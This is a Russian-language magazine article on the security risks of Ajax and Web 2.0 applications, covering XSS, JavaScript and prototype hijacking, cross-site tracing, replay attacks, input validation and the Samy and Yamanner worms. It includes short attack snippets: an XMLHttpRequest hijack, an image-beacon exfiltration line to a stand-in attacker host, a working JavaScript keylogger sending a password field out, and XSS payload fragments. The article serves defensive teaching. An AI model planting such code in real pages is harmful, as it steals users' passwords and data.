Риск 2.0 - заполярье: здесь есть жизнь!

Ajax, реализованный в службах Web 2.0, много раз демонстрировал свои преимущества. Но как обстоит дело с безопасностью? JavaScript и асинхронная передача данных, которые лежат в основе Ajax, имеют ряд уязвимых мест, которые нужно учитывать при создании и оформлении современных интернет-приложений. Риск 2.0
То, что в октябре 2005 началось как игра одаренного хакера, стало основой для новых, более опасных атак. Пользователь системы MySpace по имени Samy за несколько часов увеличил количество своих виртуальных друзей с 70 до миллиона (см. врезку «Черви Ajax и XSS»). В этой атаке использовалась уязвимость в платформе MySpace, основанной на Ajax.
Благодаря системам Ajax возможности интернет-приложений растут. Граница между ними и обычными программами постепенно стирается. Но в HTTP и Web2.0, к техническим достижениям которых относится и Ajax, безопасности уделялось слишком мало внимания. Ведь подобные приложения, как и другие классические интернет-программы, относятся к распределенным системам. Они состоят из клиентской и серверной частей, между которыми осуществляется обмен данными, каждая из которых может служить объектом атаки.

Хорошие и плохие скрипты
Ajax основывается на языке JavaScript. Скрипты загружаются на компьютер пользователя с помощью браузера, и по соображениям безопасности выполняется в ограниченной среде (этот процесс носит название Same Origin Policy), что обеспечивает защиту от манипулирования локальными ресурсами на компьютере пользователя. Кроме того, эта система не позволяет установить подключение к скриптам на других доменах с помощью XMLHttpRequest, функции API для передачи данных через протокол HTTP.
Такие атаки как Cross-Site-Scripting могут обходить эту защиту. Для этого используется уязвимость в XSS, позволяющая ввести вредоносный код, написанный обычно на JavaScript. Он выполняется в защищенной ограниченной среде и создает основу для следующих атак. Уязвимости в системе безопасности по большей части связаны с недостаточной проверкой вводимых данных, которые обычно передаются в виде параметров Get или Post, которыми достаточно легко манипулировать.
Если злоумышленник смог ввести вредоносный код в приложение с помощью XSS, система Ajax значительно облегчает ему дальнейшие атаки. Пользователь обычно не имеет представления о запросах, которые браузер создает и отсылает с помощью XMLHttpRequest. Хакер может воспользоваться этим и незаметно подменить любые данные. Этот же способ позволяет вирусам размножаться с помощью XMLHttpRequest. Так работают, в частности, известные вирусы My Space Samy и Yahoo! Yamanner.

Уязвимость клиентской части
Так как JavaScript выполняется на компьютере пользователя, скрипт должен быть доступен в открытом тексте, поэтому его невозможно полностью защитить от нежелательного просмотра. Шифрование данных с помощью SSL может обеспечить безопасность данных при передаче, но как только код поступает на компьютер пользователя, он становится доступным в исходном виде. Злоумышленники могут проанализировать текст скрипта и использовать полученные знания для дальнейших атак. Особо важной информацией в коде JavaScript являются, наряду с названиями методов и переменных, также используемые форматы файлов и их каталоги.
Вследствие этого сервер может быть обрушен постоянными целенаправленными запросами (DoS-атака). Такие меры предосторожности, как скрытие кода и отключение кэш-памяти браузера могут значительно осложнить задачу злоумышленников, но полностью защититься от нападения не удастся. У серверных языков, например у PHP, в этом плане есть значительное преимущество: при правильной конфигурации сервера его исходный текст не может быть прочитан третьим лицом. Так, например, защищаются от просмотров пользователей пароли к базам данных.
Существует золотое правило безопасности: код, служащий для реализации безопасности (например, для проверки параметров или контроля доступа) или являющийся ключевым для функционирования сайта, должен постоянно оставаться на сервере. Написанные на JavaScript алгоритмы проверки паролей могут быть в любой момент просмотрены и изменены — следовательно, они не отвечают требованиям безопасности.

Чужие данные
Приложения Ajax часто используют данные сторонних серверов. В соответствии с Same Origin Policy они не могут быть загружены непосредственно через JavaScript. Для этого необходимо подключение к стороннему серверу через Proxy-сервер, установленный на компьютере с которого загружается скрипт. В противном случае браузер выдаст сообщение об ошибке.
В любом случае, данные из сторонних источников не могут считаться безопасными. Они должны быть проверены перед использованием в собственном приложении. Это особенно важно при использовании пользовательского контента, например, комментариев в блогах или записей на форумах (см. раздел «Проверка вводимых данных»).
Интернет-серверы обеспечивают доступ к своим данным через стандартный интерфейс (например, SOAP или REST). Их открытая архитектура также представляет собой проблему в плане безопасности, ведь эти интерфейсы могут быть использованы для неразрешенного копирования баз данных, которые необходимы для нормальной работы сервера. Некоторые серверы ограничивают доступ к своим сервисам с помощью учетных записей: только зарегистрированные пользователи могут произвести определенное число запросов за ограниченный промежуток времени. Этот метод защиты используют Google (он называется Developer Token – «маркер разработчика») и Amazon (Secret Access Key – «секретный ключ»).

Строго секретно
Пользователь также заинтересован в том, чтобы защитить личные данные от просмотра. Протоколы безопасности, например SSL, защищают от перехвата или манипуляции данными при передаче, но не могут защитить от так называемой replay-атаки. Злоумышленник перехватывает пакеты, отправляемые от клиента серверу (независимо от того, зашифрованы они или нет), и посылает их заново. Классическим примером такой атаки является многократное проведение транзакции со счета.
Такие атаки можно предотвратить с помощью механизма «одного маркера». При каждом HTTP-запросе клиент должен отправить маркер. В ответе сервер посылает следующий маркер – лучше всего в зашифрованном виде. Если даже злоумышленник перехватит ответ, у него будет очень мало времени до того, как пользователь успеет проверить следующий маркер.
Большие надежды возлагаются на расширяемый стандарт для защиты интернет-сервисов Web Services Security (WSS) совета по стандартизации OASIS. Он обеспечивает, наряду с механизмом одного маркера, зашифрованную и подписанную передачу данных. WSS основывается на обоих ранних стандартах XML-enc и XML-dsig, а реализован в Microsoft Web Services Enhancements (WSE) и в Apache Axis2.

Данные в пути
Если в классических интернет-приложениях сервер при каждом ответе отправляет клиенту HTML-код, то в Ajax коммуникация более краткая: часто переносятся только необходимые данные, что обеспечивает разделение данных и самого кода. Данные могут быть представлены в разных форматах, чаще всего встречаются XML и JSON (JavaScript Object Notation).
Во всех случаях данные уязвимы во время передачи данных: так злоумышленник может вставить в перехваченные данные JSON вредоносный код, чтобы просмотреть журнал просмотренных сайтов в браузере, и потом отправить его клиенту. Клиентская часть выполнит вредоносный код при обработке JSON, таким образом в опасности окажутся личные данные пользователя. Поэтому XML-данные на компьютере клиента проверяются, прежде всего, на наличие вредоносного кода. Для этого на различных платформах есть библиотеки классов, например класс XMLValidatingReader для Microsoft.Net. Дополнительную защиту обеспечивают стандарты XML-enc и XML-dsig. Они обеспечивают шифрование и подпись XML-данных на время их передачи.
В JSON кодирование данных производится в синтаксисе JavaScript. Исходный код после поступления в браузер немедленно реализуется в объектах JavaScript, для чего используется метод eval(). Распространенные библиотеки JavaScript, например Prototype, применяют методы evalJSON(), JSON.parse() и другие. Они преобразуют код в объекты JAVAScript с меньшей скоростью, но обеспечивают больший уровень безопасности. С их помощью можно реализовать фильтрацию содержания, что позволяет удалить вредоносный код.
Асинхронные запросы
С помощью XMLHttpRequest можно формировать и отправлять с компьютера клиента как синхронные, так и асинхронные запросы. При асинхронных запросах интернет-приложение не блокируется между передачей запроса и получением ответа, как это обычно происходит при синхронном запросе.
В классических интернет-приложениях пользователь может определить по индикатору выполнения, что производится загрузка файла. При асинхронных запросах, которые создаются и передаются с помощью XMLHttpRequest, подобные индикаторы не работают. Если программист не позаботился о собственном индикаторе выполнения задачи, пользователь может ничего не знать о запросах, которые отправляет его браузер. Этим не упустят воспользоваться злоумышленники. Например, они могут произвести заказ, если пользователь уже вошел на сайт интернет-магазина и не замечает, что браузер выполняет полученный вредоносный код.
Чтобы сделать видимыми запросы, формируемые с помощью XMLHttpRequest, необходимы специальные программы. Может помочь прокси-сервер, например Fiddler. Он отображает всю передающуюся по HTTP информацию. Другая возможность защиты — плагин FireBug для Mozilla Firefox или IEWatch для Internet Explorer. Они показывают пользователю все запросы, созданные с помощью XMLHttpRequest.
Ajax не ограничивается передачей запросов пользователя на сервер в виде параметра URL (Get) или HTTP-запроса (Post). С помощью XMLHttpRequest можно использовать любые методы, например TRACE, PUT или DELETE, с помощью которых загружаются или удаляются данные с сервера. Использование подобных методов сильно снижает уровень защищенности сервера, поэтому их обычно отключают.
Сервер не может различить синхронные и асинхронные HTTP-запросы. Структура обоих видов запросов, т. е. их заголовок и тело, как правило, совпадают. Различается только процесс их создания, а также обработка. Из-за отсутствия ответа на асинхронный запрос под ударом оказывается важнейшая цель в распределенной системе — обязательность ответа. Пользователь не может определить, был ли запрос создан без его участия.
Ajax для хакеров
XMLHttpRequest представляет собой базис для всех ранее неизвестных атак, которые используют систему Ajax. Уязвимость этой системы увеличивается из-за постоянного использования Java-скриптов. Основой для большинства таких атак становится успешно проведенная атака XSS.
Существует разновидность взлома, называемая JavaScript Hijacking — перехват передаваемых данных в реальном времени. С его помощью злоумышленники могут получать важнейшую информацию, передаваемую пользователем (номера кредитных карточек, пароли), если она не зашифрована. Эта атака возможна, если во время передачи данных в формате JSON JavaScript Hijacking не сработает.
Перед началом атаки злоумышленник привлекает жертву с помощью XSS или фишинга на один из своих сайтов, где переписывается базисный конструктор Object(), образующий основу объектов JavaScript. Внутри переписываемого конструктора используются специальные методы для изменения определений. Измененный Object() кроме нормальных параметров запускает еще один метод, инкапсулирующий вредоносный код для перехвата данных. Через XMLHttpRequest данные незаметно передаются злоумышленнику. Жертва, как правило, не замечает передачу.

Введение в прототипы
Еще одна проблема — атаки XSS Prototype Hijacking, позволяющие манипулировать перехваченными данными перед передачей на сервер.
XSS Prototype Hijacking также использует уязвимость JavaScript. Как в любом языке программирования, ориентированном на прототипы, объекты в нем создаются не из классов, а из уже существующих объектов. Их можно расширять новыми методами или свойствами в режиме реального времени. Кроме того, можно переписывать уже созданные объекты, что и применяется в атаке XSS Prototype Hijacking.
Сам ход атаки выглядит примерно так: вредоносный код передается на компьютер клиента с помощью XSS. XMLHttpRequest сохраняется в одном из новых свойств. Это свойство является частью нового объекта, на который теперь ссылается XMLHttpRequest.
Новые объекты будут клонами пораженного, а не оригинального XMLHttpRequest:

var xhr = XMLHttpRequest;
XMLHttpRequest = function() {
this.oldXHR = new xhr();
return this;
}

Следующим шагом является перезапись метода send(). В нем инкапсулируется функция для передачи запросов через XMLHttpRequest, и этот метод будет доступен через свойства перезаписанного объекта. Теперь можно вызывать методы sniff() и manipulate() для перехвата и манипулирования данными:

XMLHttpRequest.prototype.send =
function (data) {
sniff("Hijacked: " + data);
data = manipulate(data);
return this.oldXHR.send(data);
}

Из-за Same Origin Policy невозможно переслать перехваченные данные через XMLHttpRequest. Но эту проблему легко можно обойти, загрузив картинку с JavaScript:
var image =
document.createElement("img");
image.src =
"http://www.zloyhaker.com/log.php?data=" +
data;

При последующих запросах через XMLHttpRequest все передаваемые данные могут быть просмотрены и изменены злоумышленником. Из-за отсутствия обратного сообщения пользователь не узнает о том, что была произведена атака.
Проверка данных
Основой большинства уязвимостей интернет-приложений является недостаточная проверка вводимых пользователем данных, и вполне можно ввести неправильное значение параметра или даже вредоносный код. Нижней ступенью защиты интернет-приложения является эффективная проверка вводимой информации, которая проводится на сервере, а не на компьютере клиента.
Проверяются в первую очередь слишком длинные комбинации символов, числа, выходящие за диапазон значений, и наличие вредоносного код. Независимо от типа данных анализу подвергаются следующие характеристики:
- тип или формат данных;
- область и размер данных (особенно строковых переменных);
- недопустимые теги или ключевые слова (в HTML или Java Script).
В процессе проверки на неразрешенные символы или комбинации символов часто используется принцип «белого списка». Если вводимые данные содержат информацию, которой нет в этом списке, система их не принимает. На практике в таком списке содержится набор выражений. Существует также «черный список», но его необходимо постоянно актуализировать. Если обнаруживается новая уязвимость, ее необходимо как можно быстрее добавить в список, иначе интернет-приложение окажется беззащитным перед новой угрозой.
Дополнительная возможность усиления безопасности после успешной проверки данных — это проведение так называемого «эскейпинга». Этот метод сводится к следующему: все специальные символы, которые были введены пользователем, перед выполнением заменяются в исходном коде соответствующими, но совершенно безвредными HTML-объектами. Таким образом они лишаются функции управляющих символов. В браузере они отображаются как обычно. Одна из библиотек, которая использует этот метод, была выпущена Microsoft и называется Anti XSS.
Cross-Site Tracing
Cross-Site Tracing использует возможность XMLHttpRequest, которая позволяет передавать данные не только с помощью Get и Post, но и другими методами HTTP. Метод Trace часто применяется для нужд тестирования. С помощью него сервер отправляет echo-запросы клиенту. Ответ содержит собранную браузером информацию, например файлы cookies.
Сначала, как обычно, злоумышленник привлекает пользователя на специально созданный сайт. Содержащийся на нем вредоносный код отправляет Trace-запрос на тот сервер, на который жертва изначально пыталась выйти. Сервер отправляет echo-запрос обратно клиенту. Пользователь все еще находится на сайте хакера, не подозревая об этом. Как только поступает ответ, вредоносный код считывает содержащиеся там данные, такие как сохраненные в cookies пароли или SessionID, и отправляет их злоумышленнику.
Поскольку метод Trace используется только в процессе разработки интернет-приложений, на большинстве серверов он отключен, что делает атаку такого вида невозможной.

Клавиатурные шпионы
Возможность незаметно передать данные через XMLHttpRequest открывает злоумышленникам широкое поле для деятельности. Например, можно, не обладая большим опытом программирования, написать код, который будет записывать все нажатия клавиш и щелчки мышью на компьютере пользователя.
В классических интернет-приложениях пользователь может быть уверен, что содержание заполненного им формуляра будет передано сразу же после нажатия клавиши «Отправить». Однако в системе Ajax это совсем не так. Данные могут быть переданы злоумышленнику даже во время набора. Для этого, как обычно, необходима передача вредоносного кода в интернет-приложение с помощью XSS.
Предположим, что пользователю нужно зайти на сайт своего банка. При наборе пароля он вдруг заметил, что ошибся и набрал свой пароль для E-Bay. Он исправляет пароль и нажимает «OK», отправляя данные. Но случайно введенный им пароль уже был передан хакеру с помощью XMLHttpRequest. Он пытается зайти с этим паролем и именем пользователя на несколько сайтов — и при удачном стечении обстоятельств оказывается на сайте E-bay.
function key_logger(e) {
var image = document.createElement("img");
image.src = "http://zloyhacker.com/log.php?pwd=" +
document.getElementById("pwd").value;
}
document.onkeyup = key_logger;

Эти строчки создают полноценный клавиатурный шпион. При каждом нажатии клавиши вызывается метод key_logger(), который отправляет злоумышленнику содержание поля pwd.
Помощь в создании приложений
Чтобы пользователи, начинающие работать с Ajax, не совершили по незнанию опасных ошибок, лучше всего использовать готовые, проверенные объектные структуры. Они, кроме прочего, помогают сделать интернет-приложение совместимым с большинством браузеров. Для Ajax существует несколько таких структур.
Конечно, их создатели тоже допускают ошибки. Примеры прошлого (например, CPaint или Pajax) показывают, что уязвимости в объектной структуре делают беззащитным приложение, в которое эта структура встраивается.
При выборе структур нужно обращать внимание на сообщества программистов и пользователей, которые быстро находят и исправляют ошибки. Чтобы быстро получить информацию, нужно регулярно посещать соответствующие сайты и следить за обновлениями.
Первая многообещающая попытка создания единого стандарта — это OWASP (Open Web Application Security Project) AJAX Secutity Project.

Тестирование безопасности
Тесты на безопасность, особенно проверка устойчивости к проникновениям, представляют собой важный инструмент для оценки уровня защиты интернет-приложений. В рамках тестирования приложение сканируется, и при идентификации внутренних связей и ссылок строится его подробный план.
В системах Ajax эти ссылки создаются JavaScript и Dom в реальном времени и затем встраиваются в приложение. Это осложняет сканирование. Инструменты, используемые при тестировании, должны быть в состоянии оценить JavaScript. Поэтому программ для сканирования очень немного. Прежде всего, это Sprajax — программа OWASP и Chorizo мюнхенской фирмы Mayflower.
Черви Ajax и Xss
Два важных примера из прошлого, черви Ajax — MySpace Samy и Yahoo! Yamanner — показали опасность атак через XSS и Ajax. Особенности асинхронной передачи запросов через XMLHttpRequest помогли им распространяться очень быстро, со скоростью, присущей обычным компьютерным вирусам. Когда пользователи просматривали профиль Samy в MySpace, они запускали вредоносный код, который заносил их в список друзей. Затем поражались их собственные страницы профилей, посетители которых также попадали в список друзей Samy. За несколько часов число друзей Samy выросло до нескольких миллионов, что привело к повышению нагрузки из-за чего вся система вышла из строя на несколько дней.
Эта атака стала возможной из-за недостаточной проверки вводимых данных. MySpace не проверял свойства XSS внутри профиля пользователя на наличие вредоносного кода. Поэтому Samy разместил код внутри события, и это осталось незамеченным. При выполнении свойства выполнялся и код. Злоумышленник опубликовал детальное описание своей атаки:

style="background("javascript:eval(
document.code.expr))>

Yamaner, в отличие от Samy, руководствовался денежными мотивами. Он вставил код JavaScript в HTML-код электронных писем. При чтении сообщения вирус собирал адреса из контактов пользователей и отправлял их злоумышленнику. Без сомнения, автор потом успешно продал их спамерам. Одновременно червь распространялся по всем контактам через XMLHttpRequest.
Yamanner также использовал уязвимость при проверке данных сервера электронной почты. Он смог вставить код в событие onload (), которое выполняется при открытии письма:

onLoad="javascript:alert("xss");" />
Выводы
Поскольку в Ajax используются те же протоколы, что и в классических интернет-приложениях, нельзя считать, что с появлением Web 2.0 веб-программирование полностью меняется. Минимальные требования остаются прежними: использование тех же методов обеспечения безопасности, что применяются в обычных интернет-приложениях. Но необходимо обратить внимание и на некоторые отличия. Большинство из них связаны с использованием XMLHttpRequest для передачи асинхронных запросов. Таким образом можно передавать запросы без ведома пользователя.
Применение JavaScript в системе Ajax также облегчает жизнь хакерам, поскольку в этом языке программирования все еще много уязвимостей. Необходимо пользоваться последней версией браузера, в которой исправлено большинство уязвимостей. Кроме того, программисты должны помнить, что хакер с помощью передачи вредносного кода в исходном коде страницы может легко воспользоваться реверс-инжинерингом, и использовать полученные знания для будущих атак.
Главным источником большинства атак остается недостаточная проверка вводимых данных, без которой легко встроить в интернет-приложение вредоносный код. Использование блогов и интернет-сервисов обостряет эту проблему.
Программисту следует каждый раз обдумывать, необходимо ли применение Ajax в данном конкретном случае и использовать программы тестирования.
При создании пользовательского интерфейса Ajax действительно может улучшить интернет-приложение. Но его неправильное использование ведет к проблемам с безопасностью. Например, едва ли целесообразно использование функции автозаполнения при вводе адреса электронной почты, поскольку спамеры могут таким образом собирать адреса. Кроме того, нужно хранить на сервере все элементы, обеспечивающие его безопасность.

Шошин, C’T